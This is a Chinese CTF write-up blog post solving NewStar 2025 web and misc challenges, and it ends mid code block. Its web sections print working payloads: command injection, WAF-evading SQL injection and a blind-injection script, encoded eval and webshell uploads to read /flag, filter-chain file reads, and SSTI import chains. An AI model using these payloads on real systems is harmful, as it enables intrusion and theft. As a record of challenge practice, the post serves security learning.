0%

Newstar2025-WEB-MISC

前言

最近搭建好了这个博客,这也是2026年写的的第一篇博客,决定复盘一下今年的newstar,复现平台https://ctf.xidian.edu.cn。

题目难度由易到难从中也是学到了很多东西。这证书真的非常好,拆包裹跟当时拆大学录取通知书一样,而且还包邮。

week1

web

multi-headach3

题目提示

什么叫机器人控制了我的头?

访问robots.txt

image-20260101203712361

直接在浏览器访问hidden.php会自动跳转到index.php,抓包就行了

strange_login

万能密码一把梭

1’ or true#

image-20260122202554651

别笑,你也过不了第二关

进去发现数一个小游戏,分析前端代码,当通关所有关卡(当前代码只有 2 关)后,会向 /flag.php POST 提交 score 参数然后回显flag,写一个代码在控制台执行了一下就行了

image-20260101210402472

代码如下

1
2
3
4
5
6
7
8
// 强制设置分数为第二关目标值
score = 1000000;
// 切换到第二关(最终关)
currentLevel = 1;
// 关闭游戏定时器防止干扰
if (gateInterval) clearInterval(gateInterval);
// 手动触发关卡结束逻辑,直接请求flag.php
endLevel();

宇宙的中心是 PHP

进去是一个动态页面,尝试后发现不能够ctrl+U看网页代码,我这里用的是IE,ctrl+shift+I,打开开发者工具

image-20260101210709287

访问s3kret.php

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

首先是post传参,然后参数的值要满足两个条件,

1
intval($answer)!=47&&intval($answer,0)==47

intval是php用于将变量转换为 整数 的函数,第二个参数是控制进制转换,题目中用0,就是自动根据字符串前缀来推测进制

构造payload

newstar2025=0x2f (47的十六进制)

十进制解析 ≠ 47,自动进制解析 = 47

image-20260101211642234

我真得控制你了

这个还是老方法打开开发者工具看到前端代码,这个按钮是disable属性的,我们要带点击这个按钮,ai写一个代码就行了,一步到位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 核心:移除禁用 + 显示按钮 + 移除遮罩
const btn = document.getElementById('accessButton');
// 1. 移除disabled属性(解除禁用)
btn.disabled = false;
btn.removeAttribute('disabled');
// 2. 确保按钮可见(防止样式隐藏)
btn.style.pointerEvents = 'auto';
btn.style.opacity = '1';
btn.style.cursor = 'pointer';
// 3. 移除遮罩层(如果有)
const shield = document.getElementById('shieldOverlay');
if (shield) {
shield.remove(); // 直接删除遮罩
// 或隐藏遮罩(推荐,避免布局乱):shield.style.display = 'none';
}
// 4. 主动触发一次点击(可选,解锁后直接点)
btn.click();

然后就是弱口令爆破

image-20260101220204561

admin/111111,登入得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];

if (is_array($input)) {
die("恭喜掌握新姿势");
}


if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}


if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}

$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}

if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>

接收 GET 参数newstar,需满足:

非数组类型;

仅包含 数字、*、/、~、()、空格 这些字符;

不能只有数字和空格(必须是表达式);

通过eval执行表达式后结果等于 2025,即可输出 flag

那就同取反

?newstar=(2025)

取反两次还是2025

黑客小 W 的故事(1)

首先第一关就是要打怪获得积分,但是过程中会被古神单杀,提示抓包,抓包看一下,看到传入{“count”:1},直接改为800放包

image-20260102154111927

进入下一关,通过get传参?shipin=mogubaozi就可以看到蘑菇先生具体说了什么,然后post传参,参数名为guding,得到要用DELETE删掉chognzi,修改数据包

image-20260102155047925

我们需要guding,

image-20260102155241498

进入下一关,根据提示要在ua中修改,使用CycloneSlash

image-20260102155825399

然后还有冲锋斩

image-20260102160454371

最后一关的入口/Level4_Sly

image-20260102160532315

misc

Sign in

签到题

flag{Welcome_to_NewStar_CTF_2025!}

EZ_fence

题目提示

RAR 发现一张残缺的照片竟然需 要 4 颗钉子才能钉住,照片里面似乎藏着秘密。

提取信息:fence就是栅栏,rar,残却图片,4

附件信息是rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB

随波逐流分析发现有隐藏的rar文件,提取出来得到一个加密的文件,残缺的图片,考虑宽高隐写,然后得到隐藏信息

fence1_修改高度

8426513709qazwsxedcrfvtgbyhnujmikoplQWSAERFDYHGUIKJOPLMNBVCXZ-_

这一共是64个字符,可以作为一个base64自定义码表,那上面rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB栅栏4解密

image-20260102162436890

rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz=

符合base64特征,可以看到解码时乱码,因为用的是默认的码表,这里替换为题目给的码表

image-20260102163640036

解压文件得到flag

flag{y0u_kn0w_ez_fence_tuzh0ng}

Misc 城邦:压缩术

首先根据题目提示密码长度是6位,小写字母和数字,开始爆破密码

image-20260102164039066

ns2025

解压后看提示,没有密码还有输入密码,就是伪加密,随波逐流修复一下,然后得到一个压缩包,一个文件,压缩包有一个加密的key.txt,这就是明文攻击了,爆破密码d00rkey

image-20260102165047196

解压得到flag

flag{You_have_mastered_the_zip_magic!}

OSINT:天空 belong

flag格式

flag{航班号_照片拍摄时所在省份的省会城市_拍摄设备的制造商},制造商为英文(首字母大写)

首先看附件信息,查看属性

image-20260102165249442

可以看到制造商是Xiaomi,拍摄日期是2025年8月17日15:03,分析图片机翼,有飞机的注册号B-7198,查询当天航班

image-20260102165735618

拍摄时间是15:03,符合要求的航班只有乌鲁木齐航空UQ3574,

image-20260102165932973

拍摄日期距离航班结束非常接近,那么就是武汉,最后flag

flag{UQ3574_武汉市_Xiaomi}

前有文字,所以搜索很有用

题目分为3关,先看第一关,文件描述的是零宽字符,就是零宽隐写,使用pazzlesolver

image-20260102170501856

ZmxhZ3t5b3Vf,base64解码flag{you_

然后第二关

看到附件名字考察的就是snow隐写,然后密钥,密钥考察的是brainfuck隐写

image-20260102170727399

密钥是brainfuckisgooooood

然后题目还有提示

Track2 的隐藏数据并没有被压缩,请不要使用 -C.

image-20260102171021705

—– …- …– .-. -.-. ….- – . ..–.-一眼摩斯密码

image-20260102171201763

0V3RC4ME_

最后一关字频分析

image-20260102171312045

cH@1LenG3s}

最后的flag

flag{you_0V3RC4ME_cH@1LenG3s}

我不要革命失败

这里用windbg分析,执行命令!analyze -v,!process把信息直接让ai分析就行了

image-20260102172010834

flag{CRITICAL_PROCESS_DIED_svchost.exe}

week2

web

DD 加速器

一个经典的rce,使用分号进行命令注入

127.0.0.1;cat /f*

image-20260102172515839

查看环境变量

127.0.0.1;env

image-20260102172734934

小 E 的管理系统

这个当时比赛是没写出来,对sqlite了解的太少了.一看这个输入框就是sql注入,首先判断是字符型还是数字型,尝试id=1’发现有waf,id=1+1,发现回显2,证明是数字型

image-20260102183546090

抓包看信息

image-20260102183705614

发现返回有5列,刚才尝试的时候知道题目是存在waf的,fuzz测试一下看看过滤了那些字符

image-20260102184236038

过滤了空格,引号,加号,逗号等等。

判断列数,用%0a或者%09替换空格

image-20260102184749780

判断查讯列数为5,然后看数据库

image-20260102190149171

对于sqlite来说是没有库这个概念的,直接对象就是表,所以这个不是mysql,是sqlite。看回显位,用join绕过逗号,用cyberchef可以快速替换空格,比较方便

-1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e

image-20260102191443192

image-20260102191445541

都是回显位那就开始查表

?id=-1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d%0ajoin%0a(select%0asql%0afrom%0asqlite_master)e

image-20260102192907231

这里得到3个表,flag大概率在sys_config(豆包说的),继续往下查

sys_config表中的列有

id:主键(自增)

- config_key:配置项名称(唯一)

- `id:主键(自增)

  • config_key:配置项名称(唯一)
  • config_value:配置项值(TEXT 类型)

这里查config_value

-1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select config_value from sys_config)e

image-20260102193222829

搞点哦润吉吃吃🍊

前端登入页面源码给了登入用户和密码

登入进入

抓包获得信息

image-20260102195644722

然后写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests

def auto_challenge():
base_url = "url"

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
"Content-Type": "application/json",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjo0fQ.GDy5KyvNcRbDteUjPwoPvI8KbIR9FNHsdpckUJOgu28; session=.eJxNy0EKwyAQQNG7zNpFTRNlXPceIs1ghYmGyQiFkLs33bn-_53w_iRmqpni1lnLzoUEAiLODzPEQ5No1LIRBOudfy6zdX48vu12dkJnHU4GuOVMaywVgkonA_0gqenv4dWkwfUDUdspYw.aVevNw.OHVrR2Vg6tWXY_IdLHjIUon4ruw"
}

session = requests.Session()
session.headers.update(headers)

try:
# 1. 启动挑战
start_response = session.post(f"{base_url}/start_challenge")
if start_response.status_code != 200:
print(f"[-] 请求失败: {start_response.status_code}")
return

# 2. 获取新的session cookie
new_session_cookie = None
if 'Set-Cookie' in start_response.headers:
set_cookie = start_response.headers['Set-Cookie']
if 'session=' in set_cookie:
new_session_cookie = set_cookie.split('session=')[1].split(';')[0]
session.cookies.set('session', new_session_cookie)

start_data = start_response.json()
if "error" in start_data:
print(f"[-] 错误: {start_data['error']}")
return

# 3. 获取表达式并计算token
expression = start_data.get("expression", "")
if not expression or "token =" not in expression:
print("[-] 没有找到有效的 token 表达式")
return

calc_expr = expression.split("token =")[1].strip()

# 使用 eval 来计算表达式
try:
token = eval(calc_expr) # 计算表达式
except Exception as e:
print(f"[-] 计算 token 出错: {e}")
return

# 4. 提交验证
submit_data = {"token": int(token)}
submit_headers = {"Cookie": f"session={new_session_cookie}"} if new_session_cookie else headers

submit_response = session.post(f"{base_url}/verify_token", json=submit_data, headers=submit_headers)

# 输出验证结果
print(submit_response.text)

except Exception as e:
print(f"错误: {e}")

if __name__ == "__main__":
auto_challenge()

代码逻辑

启动挑战:通过发送一个 POST 请求到 /start_challenge,启动挑战。

获取新的 session cookie:从响应中提取新的 session cookie(如果有),并更新请求的 session。

计算 Token:从服务器响应中提取挑战的表达式,计算出 token。

提交验证:将计算出的 token 提交到服务器进行验证,并打印响应结果

image-20260102204337030

白帽小 K 的故事(1)

根据提示看接口, /v1/list 接口,发现已有文件,/v1/onload 读取文件,/v1/upload可以上传文件,先读取文件看看

image-20260102211208122

服务器将 MP3 文件(star.mp3)当作 PHP 脚本解析执行,那这就是突破口。我们可以写入恶意文件进去,当php脚本解析执行获得webshell,先上🐎

image-20260102211447439

虽然上传成功了,但是列表没有c.php,那还上传mp3文件,

image-20260102212101719

image-20260102212111433

可以看到脚本被执行了,在根目录有flag

在传一个执行cat /flag就行了

image-20260102212258466

真的是签到诶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
$result = '';
foreach (str_split($text) as $char) {
if (ctype_alpha($char)) {
$is_upper = ctype_upper($char);
$base = $is_upper ? ord('A') : ord('a');
$offset = ord(strtolower($char)) - ord('a');
$new_char = chr($base + (25 - $offset));
$result .= $new_char;
} else {
$result .= $char;
}
}
return $result;
}

if ($cipher) {
$cipher = base64_decode($cipher);
$encoded = atbash($cipher);
$encoded = str_replace(' ', '', $encoded);
$encoded = str_rot13($encoded);
@eval($encoded);
exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?>

代码post传参经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import base64

def atbash(text):
"""Atbash 解密:字母反转"""
result = ''
for char in text:
if char.isalpha():
base = 'A' if char.isupper() else 'a'
offset = ord(char.lower()) - ord('a')
new_char = chr(ord(base) + (25 - offset))
result += new_char
else:
result += char
return result

def rot13(text):
"""ROT13 解密:字母移位13位"""
result = []
for char in text:
if char.isalpha():
shift = 13 if char.islower() else -13
result.append(chr(((ord(char) - ord('a') + shift) % 26) + ord('a')) if char.islower() else
chr(((ord(char) - ord('A') + shift) % 26) + ord('A')))
else:
result.append(char)
return ''.join(result)

def process_payload(payload):
"""按顺序解密并执行"""
# 1. 进行 Base64 解码
decoded = base64.b64decode(payload).decode('utf-8')
print(f"Base64 解码后: {decoded}")

# 2. 进行 Atbash 解密
atbash_decrypted = atbash(decoded)
print(f"Atbash 解密后: {atbash_decrypted}")

# 3. 去空格
atbash_decrypted_no_spaces = atbash_decrypted.replace(' ', '')
print(f"去空格后: {atbash_decrypted_no_spaces}")

# 4. 进行 ROT13 解密
rot13_decrypted = rot13(atbash_decrypted_no_spaces)
print(f"ROT13 解密后: {rot13_decrypted}")

return rot13_decrypted

# --- 生成 Payload ---
code = "system('ls%20/');" # PHP 代码

# 生成 payload - 按顺序加密
rot13_encoded = rot13(code) # ROT13 加密
atbash_encoded = atbash(rot13_encoded) # Atbash 加密
payload = base64.b64encode(atbash_encoded.encode('utf-8')).decode('utf-8') # Base64 编码

print(f"原始代码: {code}")
print(f"ROT13 加密: {rot13_encoded}")
print(f"Atbash 加密: {atbash_encoded}")
print(f"最终 Payload: {payload}")
print(f"POST 数据: cipher={payload}")

# --- 验证过程 ---
print("\n=== 验证过程 ===")
decoded = base64.b64decode(payload).decode('utf-8')
print(f"Base64 解码: {decoded}")

atbash_decrypted = atbash(decoded)
print(f"Atbash 解密: {atbash_decrypted}")

no_spaces = atbash_decrypted.replace(' ', '')
print(f"去除空格: {no_spaces}")

rot13_decrypted = rot13(no_spaces)
print(f"ROT13 解密: {rot13_decrypted}")

print("最终执行: ", rot13_decrypted)

这里注意用$IFS替换空格,因为代码在解密中会移除空格最后执行的是system(‘cat/flag’);最后payload

system(‘cat$IFS/flag’);

cipher=dW91dGlhKCdrbXQkRUhVL2hibWcnKTs=

image-20260102214929391

misc

Misc 城邦:NewKeyboard

参考文章:https://xz.aliyun.com/news/19240

这个当时也没写出来,赛后看大佬wp才知道第一个流量包的名字要用来做某种映射的

先提取数据然后根据是否按下shift建立普通映射和shift映射两个字典。然后将提取到的按键bit转换为对应的字符,按照前面的文件名做映射即可得到flag

大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import subprocess
from pathlib import Path
from typing import Dict, List, Set, Tuple

REFERENCE_PCAP = Path("abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng")
TARGET_PCAP = Path("newkeyboard.pcapng")
REFERENCE_CHARS = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}"


def extract_reports(pcap_path: Path) -> List[Set[int]]:
"""
调用 tshark 抽取 usbhid.data 字段并转换成按键 bit 集合序列。

Args:
pcap_path: pcap文件路径

Returns:
包含每个报告中按键bit集合的列表
"""
cmd = [
"tshark",
"-r", str(pcap_path),
"-Y", "usbhid.data",
"-T", "fields",
"-e", "usbhid.data",
]

try:
output = subprocess.check_output(cmd, text=True, stderr=subprocess.DEVNULL)
except subprocess.CalledProcessError as e:
raise RuntimeError(f"tshark命令执行失败: {e}")

reports = []
for line in output.splitlines():
line = line.strip()
if not line:
continue

try:
payload = bytes.fromhex(line)[1:] # 跳过报告 ID
bits = set()
for byte_index, value in enumerate(payload):
for bit in range(8):
if value & (1 << bit):
bits.add(byte_index * 8 + bit)
reports.append(bits)
except ValueError as e:
print(f"警告: 无法解析行 '{line}': {e}")
continue

return reports


def build_mapping(reference_reports: List[Set[int]], charset: str) -> Tuple[Dict[int, str], Dict[int, str]]:
"""
根据参考流量生成未按/按下 Shift 的键位映射。

Args:
reference_reports: 参考报告数据
charset: 字符集

Returns:
包含未按Shift和按下Shift的键位映射的元组
"""
unshift_map, shift_map = {}, {}
prev = set()
idx = 0

for bits in reference_reports:
pressed = bits - prev
# 过滤掉修饰键(bit1代表左Shift)
non_modifier_keys = [b for b in pressed if b != 1]

if non_modifier_keys and idx < len(charset):
key = non_modifier_keys[0]
char = charset[idx]
idx += 1

if 1 in bits: # 检查是否按下了Shift键
shift_map[key] = char
else:
unshift_map[key] = char

prev = bits

return unshift_map, shift_map


def decode_reports(
target_reports: List[Set[int]],
unshift_map: Dict[int, str],
shift_map: Dict[int, str]
) -> str:
"""
使用映射表还原目标流量中的按键序列。

Args:
target_reports: 目标报告数据
unshift_map: 未按Shift的键位映射
shift_map: 按下Shift的键位映射

Returns:
解码后的字符串
"""
prev = set()
chars = []

for bits in target_reports:
pressed = bits - prev
# 过滤掉修饰键
non_modifier_keys = [b for b in pressed if b != 1]

if non_modifier_keys:
key = non_modifier_keys[0]

if 1 in bits: # 检查是否按下了Shift键
chars.append(shift_map.get(key, f"<UNK_SHIFT_{key}>"))
else:
chars.append(unshift_map.get(key, f"<UNK_{key}>"))

prev = bits

return "".join(chars)


def main() -> None:
"""主函数,执行解码流程"""
try:
print("正在提取参考报告数据...")
ref_reports = extract_reports(REFERENCE_PCAP)

print("正在构建键位映射...")
unshift_map, shift_map = build_mapping(ref_reports, REFERENCE_CHARS)

print("正在提取目标报告数据...")
target_reports = extract_reports(TARGET_PCAP)

print("正在解码按键序列...")
text = decode_reports(target_reports, unshift_map, shift_map)

print("\n解码结果:")
print(text)

except Exception as e:
print(f"错误: {e}")
return


if __name__ == "__main__":
main()
image-20260102215824614

flag{th1s_is_newkeyboard_y0u_get_it!}

美妙的音乐

Audacity打开题目附件即可看到flag,就是有点费眼

image-20260102220122705

flag{thi5_1S_m1Di_5tEG0}

日志分析:不敬者的闯入

分析日志发现多次访问/admin,

image-20260102220630697

看webshell

1
<?php eavl($_POST['flag{12c564e1-1cc6-0f12-e7bd-bf2bad38a078}'])?>

星期四的狂想

过滤http请求看流量包,在tcp流38发现加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo "Hello, world!";

$flag = base64_encode(file_get_contents("/flag"));
$hahahahahaha = '';
foreach (str_split($flag, 10) as $part) {
if (rand(0, 1)) {
$part = strrev($part);
} else {
$part = str_rot13($part);
}
$hahahahahaha .= $part;
}

$GLOBALS['ThURSDAY'] = $hahahahahaha;
function code($x) {
return "Cookie: token=" . base64_encode($x);
}

?>

image-20260102221542393

上传 PHP 文件后的二次利用请求,核心是触发crazy.php执行并获取关键数据,数据中的token就是混淆后的 flag 的 Base64 编码

写一个脚本解密token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import base64
import codecs
from itertools import product

# 你的 token(从抓包中复制)
token = "R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ=="

# 第一步:base64 解码 token,得到混淆后的字符串
mixed_flag = base64.b64decode(token).decode('utf-8', errors='ignore') # 防止异常中断
print("[+] Token 解码后混淆字符串:")
print(mixed_flag)
print("=" * 60)

# 第二步:每 10 个字符一组分割(你的有 6 组)
chunks = [mixed_flag[i:i+10] for i in range(0, len(mixed_flag), 10)]
print(f"[+] 分割成 {len(chunks)} 组:")
for i, c in enumerate(chunks):
print(f" 第{i+1}块: {c}")

print("=" * 60)

# 第三步:暴力枚举每块是 ROT13 还是反转(2^6 = 64 种可能,瞬间跑完)
print("[*] 开始暴力枚举所有组合(共 64 种)...")

for choices in product([0, 1], repeat=len(chunks)): # 0=反转, 1=ROT13
restored = []
for i, choice in enumerate(choices):
part = chunks[i]
if choice == 1: # ROT13
processed = codecs.decode(part, 'rot13')
else: # 反转
processed = part[::-1]
restored.append(processed)

candidate_b64 = ''.join(restored)

# 尝试 base64 解码
try:
flag_bytes = base64.b64decode(candidate_b64)
flag = flag_bytes.decode('utf-8')
# 判断是否是合理的 flag(包含 flag{ 开头)
if flag.startswith("flag{") or "flag" in flag.lower():
print("🎉🎉🎉 成功找到正确组合!🎉🎉🎉")
print(f"恢复方式: {' | '.join(['ROT13' if c else '反转' for c in choices])}")
print(f"Flag: {flag}")
exit() # 找到就退出
except:
pass # 非法 base64,继续尝试

print("[-] 未找到有效 flag,可能 token 已过期或题目环境变化")

OSINT:威胁情报

使用奇安信的威胁分析平台https://ti.qianxin.com/分析附件hash值

flag{APT组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)}

image-20260102223323022

APT组织名:Kimsuky

通信C2服务器域名:alps.travelmountain.ml

查看样本分析详情

image-20260102223453086

flag{kimsuky_alps.travelmountain.ml_2021-03-31}

week3

web

MyGO!!!

首先扫目录有flag.phpimage-20260106213733991

访问得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$client_ip = $_SERVER['REMOTE_ADDR'];

// 只允许本地访问
if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') {
header('HTTP/1.1 403 Forbidden');
echo "你是外地人,我只要\"本地\"人";
exit;
}

highlight_file(__FILE__);
if (isset($_GET['soyorin'])) {
$url = $_GET['soyorin'];

echo "flag在根目录";
// 普通请求
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
curl_exec($ch);
curl_close($ch);
exit;
}

?>

首先校验客户端 IP,只有127.0.0.1(IPv4 本地回环)和::1(IPv6 本地回环)能访问,外部 IP 会返回 403 禁止访问,后面一眼考察的是ssrf,由于这里环境跟比赛平台不一样,能够直接用file协议读文件

image-20260106214315787

ez-chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
highlight_file(__FILE__);

?>

分析代码得到有两层waf

1.禁止文件名中包含以下字符 / 关键词(不区分大小写):/:phpbase64dataziprarfilterflag

2.文件原始内容不能包含字符f(不区分大小写,比如Fflagfile都会触发);第二层检测:对内容做循环 base64 解码(直到无法解码),解码后的内容也不能包含f

这里输入和输出都有检测,而且不能用base64编码读文件了,可以用rot13编码绕过,而且这一题是先检查payload,然后又url解码,再读取文件,paylaod进行url编码不就绕过了第一层waf了,由于浏览器还要解码一次,这里用双重url编码,字母也要编码

php://filter/read=string.rot13/resource=/flag

%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567

image-20260106221339732

再rot13解码得到flag

mirror_gate

考察的文件上传,在源码有提示

1
2
<!-- flag is in flag.php -->
<!-- HINT: c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw== -->

base64解码得到提示

something_is_in_/uploads/

先扫一下目录

image-20260106222146670

根据提示扫一下uploads目录

image-20260106222243731

文件内容

1
AddType application/x-httpd-php .webp

Apache 把.webp后缀的文件当作 PHP 脚本解析执行,这直接传webshell文件就行了

直接写入一句话木马发现有过滤

image-20260106222726786

这里使用短标签+反引号绕过

image-20260108175945826

image-20260108180338309

who’ssti

分析题目附件就是要调用题目给的5个函数。

1
{{ lipsum(1, False, 100, 200) }}
1
{{lipsum.__globals__.__builtins__.__import__('statistics').fmean([1.5,2.5,3.5])}}
1
{{ config.__class__.__init__.__globals__['__builtins__'].__import__('numpy').sum([1,2,3,4,5]) }}
1
{{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').search('test', 'test string') }}
1
{{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').findall('t', 'test') }}

image-20260108221253148

小 E 的秘密计划

首先看提示找备份文件,考察git泄露。先扫目录

image-20260108221952972

解压得到git文件,然乎就是Git历史记录挖掘

1
git log

image-20260108223137787

有新增提示,查看一下

image-20260108223209669

提示有一个tips.txt,文件内容是‘什么是branch’.

1
git reflog show --all

image-20260108223527100

查看被删除的分支

1
git show 353b98f

image-20260108223720842

发现有登入账户密码,同目录下的index.html是一个登入界面,路径是public-555edc76-9621-4997-86b9-01483a50293e/index.html

访问一下输入账户密码

image-20260108223951350

mac泄露就是.DS_Store,直接在url输入就可以下载文件,写一个脚本读取文件内容

1
2
3
4
5
6
7
8
9
10
11
from ds_store import DSStore

try:
with open(r'E:\新建文件夹\DS_Store', 'rb') as f:
d = DSStore.open(f)
print("文件解析成功,包含以下文件名:")
for filename in d:
print(filename)
d.close()
except Exception as e:
print(f"解析失败: {e}")

image-20260108224758545

image-20260108224819705

白帽小K的故事(2)

这个考察盲注,还有waf,这里参考大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

base_url = "https://eci-2ze8n93nw77v9guud8x3.cloudeci1.ichunqiu.com:80/search"

result = ""
i = 0

while True:
i += 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2 # 使用整数除法

# 根据需要切换payload
#payload="select(group_concat(schema_name))from`information_schema`.`schemata`"
#payload = "sElect(group_concat(table_name))FRom`infOrmation_schema`.`tables`Where(table_schema='Flag')"
#payload = "sElect(group_concat(column_name))FRom`infOrmation_schema`.`columns`Where(table_name='flag')"
payload = "sElect(group_concat(flag))FRom(Flag.flag)"

# 构造正确的URL字符串(注意去掉了末尾逗号)
data = {"name":f"amiya'And(Ord(sUbstr(({payload}),{i},1))>{mid})#"}


r = requests.post(url=base_url,data=data)

try:
resp = r.json()
is_true = (resp.get('message') == 'Found')
except Exception:
is_true = ('Found' in r.text)

if is_true:
head = mid + 1
else:
tail = mid


if head != 32:
result += chr(head)
print(f"[+] 当前结果: {result}")
else:
print(f"[+] 当前结果: {result}")

misc

内存取证:Windows 篇

使用lovelymem分析,导入镜像文件后,在系统信息中找到主机名称

image-20251122234210483

ARISAMIK

使用mimikatz功能获取主机的登入密码

image-20251122234300620

密码是admin123。

接下来找外连ip和端口,那就需要查看网络连接情况

image-20251122234549494

如图分析整个网络谅解情况只有其中192.168.20.131:49158与远程 IP125.216.248.74:11451处于ESTABLISHED状态(LISTENING= 等待连接,ESTABLISHED= 已建立通信,CLOSED= 已关闭),说明当前正在和该远程地址通信。那个这个125.216.248.74:11451就是恶意外联的ip和端口。

那个恶意进程的所在的文件夹就是svchost.exe所在的文件夹,这个时候看命令行注意进程id

image-20251123010521587

可以看到文件路径是

C:\Windows\Temp\svchost.exe,所在文件夹就是temp

或者将进程内存数据导出分析,导出后010打开,也能够找到路径

image-20251123000420712

综上本题flag为

flag{125.216.248.74:11451_temp_admin123_arisamik}

流量分析:S7 的秘密

ctfNETA直接分析

image-20260111221634495

直接提交是不对的,猜测flag是这个字符串的某种排列组合,先写一个脚本列举几种常见的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
